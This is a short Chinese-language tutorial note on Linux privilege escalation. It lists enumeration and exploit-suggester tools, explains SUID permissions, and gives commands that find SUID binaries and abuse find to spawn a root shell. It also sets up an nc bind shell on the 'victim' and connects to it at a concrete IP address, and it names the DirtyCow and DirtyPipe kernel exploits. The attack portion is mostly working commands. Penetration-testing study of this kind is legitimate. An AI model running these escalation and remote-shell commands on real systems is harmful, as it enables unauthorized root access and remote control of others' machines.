提权工具
https://github.com/liamg/traitorhttps://github.com/AlessandroZ/BeRoothttps://github.com/rebootuser/LinEnumhttps://github.com/mzet-/linux-exploit-suggesterhttps://github.com/sleventyeleven/linuxprivcheckerhttps://github.com/jondonas/linux-exploit-suggester-2
SUID提权
提权命令网站:GTFOBins
漏洞原因:
chmod u+s增加suid chmod u-s减少suid
在程序运行的时候,经常需要给程序以高权限,类似于Windows里的以管理员身份运行,通过上面的命令增加SUID,使普通用户可以以root用户的身份运行程序
查找SUID权限命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
SUID具有高权限,可以用root身份执行命令
find / -user root -perm -4000 -exec ls -ldb {} \;
现在尝试用SUID提权,使用上面的SUID提权网站
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
可以看到,成功通过SUID得到root权限
但是前面的提权是有一个问题的,因为这些提权步骤都是我使用自己的云服务完成的,真实情况我们不能看到回显,所以需要用到反弹shell
控制受害者主机开启nc监听7777端口并绑定/bin/sh,注意开启防火墙端口
find yc -exec nc -lvp 7777 -e /bin/sh \;
攻击者连接受害者主机
nc 43.139.79.52 7777
可以看到11,成功通过反弹shell获取了权限,当我们第一次用whoami查看自身身份的时候,会发现身份是普通用户,这时候再用前面的提权命令即可拿到root权限,我这里使用nc进行反弹shell,如果没有nc环境可以尝试其他反弹shell命令,根据具体情况而定
我们前面使用SUID提权的时候,其实很多命令都有SUID权限,但是为什么只有find等命令才可以作为提权命令呢,这是由这些命令的功能决定的,如果find没有exec这个参数,那他也不能用来提权,就比如拥有管理员权限的ping命令,但是可以用来提权吗,显然不能
内核提权
CVE-2016-5195 DirtyCow 脏牛提权
CVE-2022-0847 脏管道提权